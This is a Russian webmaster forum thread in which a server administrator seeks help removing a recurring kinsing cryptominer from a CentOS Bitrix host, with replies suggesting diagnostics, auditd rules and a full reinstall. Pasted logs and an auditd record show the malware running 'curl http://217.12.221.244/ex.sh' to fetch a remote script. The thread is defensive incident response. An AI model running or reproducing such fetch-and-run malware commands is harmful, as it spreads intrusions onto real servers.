- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Переиграть и победить: как анализировать конкурентов для продвижения сайта
С помощью Ahrefs
Александр Шестаков
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Добрый день комрады. есть машинка centos. Машинка имеет сверху fw. В нем я уже убил все дрянь https://pastebin.com/FWZ7Ji30 отсюда.
Вообщем проблема такая. На машине есть 2 юзера - root и bitrix (по факту это битрикс окружение). До этого стоял докер. Мне показалось, что этот майнер проник в машину через redis (где-то есть упоминание на китайских форумах), удалив докер, прибив заразу - выкурив crontab его - но не тут то было. Оно пролазяет вновь. Причем переодичности нет.
Суть такая - CPU запускается майнер и грузит всю систему. а kinsing демон контролируется и умеет обрабатывать команды центра некого.
То есть убив, тишина.. и тут бам в логах опять видно что какая-то тварь сравнивает md5 файла (см. пастебин) и далее bitbucket или wget тянет демона и запускает этот майнер.
Самое интересное, что я уже и в битбакет подножку подставил - оно 0.0.0.0;
Придушил собаку на fw и туда и сюда.
Так же chattr и права по ее .sh чтобы даже записывать не смогла, так как работает оно не от root.
/var/log/httpd/error_log:1472:curl: (7) Failed connect to 217.12.221.244:80; Connection timed out 0 0 0 0 0 0 0 0 –:–:– 0:02:07 –:–:– 0curl: (7) Failed connect to 217.12.221.244:80; Connection timed out
вот такие логи вижу. то есть где-то сидит зараза и пытается дергать свой бинарник, но обламывается.
Как ее подцепить? fw внешний ловит запросы до 217.12.221.244 с машины. то есть зверек где-то сидит.
netstat -nap | grep 217.12.221.244
а потом по pid процесса
lsof | grep pid
даст наводку какой процесс пытается сконнектится, а также возможно и пути до подозрительных файлов покажет.
netstat -nap | grep 217.12.221.244
а потом по pid процесса
lsof | grep pid
даст наводку какой процесс пытается сконнектится, а также возможно и пути до подозрительных файлов покажет.
Тут ключевое слово ПЫТАЛСЯ коннектится. unhide его даже не видит. нет процесса.
перенастроил sshd (fail2ban).
aide подключил (мониторинг файлов)
auditd в параноидальный режим. в 19:02 дернулся зверек, но я толкьо в 19:15 настрройку сделал.
auditd должен фиксировать ВСЕ.
https://raw.githubusercontent.com/Neo23x0/auditd/master/audit.rules
Хороший конфиг для параиноика
---------- Добавлено 31.01.2020 в 19:42 ----------
[Fri Jan 31 19:02:04.492704 2020] [php7:notice] [pid 1523] [client 193.57.40.38:43638] PHP Deprecated: The mbstring.func_overload directive is deprecated in Unknown on line 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:02:07 --:--:-- 0curl: (7) Failed connect to 217.12.221.244:80; Connection timed out
Я так понимаю, чт живет где-то рядом с вебсервером?
Ну скорее всего. tcpdump ещё можно попробовать. А в логах этот посетитель 193.57.40.38 куда коннектился, на какую страницу? Малвари же посетителю подсовываются, по его айпи можно покопаться в логах, на какую страницу он заходил и что за код у этой страницы.
это битрикс окружение
The mbstring.func_overload directive is deprecated
Битрикс на PHP7 выдаёт эту ошибку.
Ну скорее всего. tcpdump ещё можно попробовать. А в логах этот посетитель 193.57.40.38 куда коннектился, на какую страницу? Малвари же посетителю подсовываются, по его айпи можно покопаться в логах, на какую страницу он заходил и что за код у этой страницы.
ausearch -a 16157 -i
----
type=PROCTITLE msg=audit(01.02.2020 02:42:22.520:16157) : proctitle=curl http://217.12.221.244/ex.sh
type=PATH msg=audit(01.02.2020 02:42:22.520:16157) : item=1 name=/lib64/ld-linux-x86-64.so.2 inode=2225344 dev=fd:03 mode=file,755 ouid=root ogid=root rdev=00:00 objtype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0
type=PATH msg=audit(01.02.2020 02:42:22.520:16157) : item=0 name=/usr/bin/curl inode=50336385 dev=fd:03 mode=file,755 ouid=root ogid=root rdev=00:00 objtype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0
type=EXECVE msg=audit(01.02.2020 02:42:22.520:16157) : argc=2 a0=curl a1=http://217.12.221.244/ex.sh
type=SYSCALL msg=audit(01.02.2020 02:42:22.520:16157) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x1667000 a1=0x16672e0 a2=0x1665d60 a3=0x7ffdfa41f1a0 items=2 ppid=5645 pid=5646 auid=unset uid=bitrix gid=bitrix euid=bitrix suid=bitrix fsuid=bitrix egid=bitrix sgid=bitrix fsgid=bitrix tty=(none) ses=unset comm=curl exe=/usr/bin/curl key=susp_activity
Что скажите?
и что там лежит? 217_12_221_244/ex.sh ?
А то не хочется лезть :) Понятно, что просто при скачке не исполниться, но все же.
и что там лежит? 217_12_221_244/ex.sh ?
А то не хочется лезть :) Понятно, что просто при скачке не исполниться, но все же.
https://pastebin.com/FWZ7Ji30
Что скажите?
Вас поломали через битрикс или самописные модули к нему или еще какое-то веб-приложение.
Это было сотни раз и еще много раз повторится.
Слова типа докер, киссинг и майнер не имеют в этом случае никакого значения.
К чему вся эта детективная история? Полноценное расследование не окупится.
Только если вы прям вот лично готовы изучить весь админский инструментарий и заниматься этим неделями.
Вы пытаетесь по внешним проявлениям эксплуатации уязвимости определить путь внедрения, а эти вещи между собой не обязаны быть связаны.
Традиционный метод решения в нищем вебе - все удалить, погуглить какие модули имеют общеизвестные дыры, обновить и снова наполнить сайт.
---------- Добавлено 02.02.2020 в 19:17 ----------
что этот майнер проник в машину через redis (где-то есть упоминание на китайских форумах)
вот это разумное предположение. И на русских форумах тоже есть.
redis не был зафайрволен? и memcached часто бывает открыт.
И все они, бывает, хранят какие-то коды или кеши используемые сайтом.
И вообще непонятен смысл размещать майнер на сервере. Все нормальные майнеры располагаются на клиентских машинах, это намного эффективнее. Какой-то тупой взлощик попался.
И вообще непонятен смысл размещать майнер на сервере. Все нормальные майнеры располагаются на клиентских машинах, это намного эффективнее
из того, что в инете нашёл - да, используют контейнеры для этого. Все же мощность сервера может быть поболее чем обычного декстопа и работать можно менее паливно.
К чему вся эта детективная история? Полноценное расследование не окупится.
Из файла видно как он загружается, но я не совсем понял как он исполняется. Скорее всего, параллельно что-то ещё висит.
В любом случае этот зловред там с правами и настройками сервера играется. Моё мнение, что
в данной ситуации вот это наиболее простой вариант будет:
Традиционный метод решения в нищем вебе - все удалить, погуглить какие модули имеют общеизвестные дыры, обновить и снова наполнить сайт.
redis не был зафайрволен? и memcached часто бывает открыт.
Вчера смотрел в инете инфу по поводу описанного ТС, то docker-контейнер с redis'ом, открыт был, а может и есть сейчас, по умолчанию для управления извне. Даже не сам редис, а именно докер-контейнер.
---------- Добавлено 02.02.2020 в 19:55 ----------
https://pastebin.com/FWZ7Ji30
Формально можно попробовать его обмануть и вычистить, но нет гарантии, что он запрятался где-то дальше, чем в тех местах, что описаны в этом файле.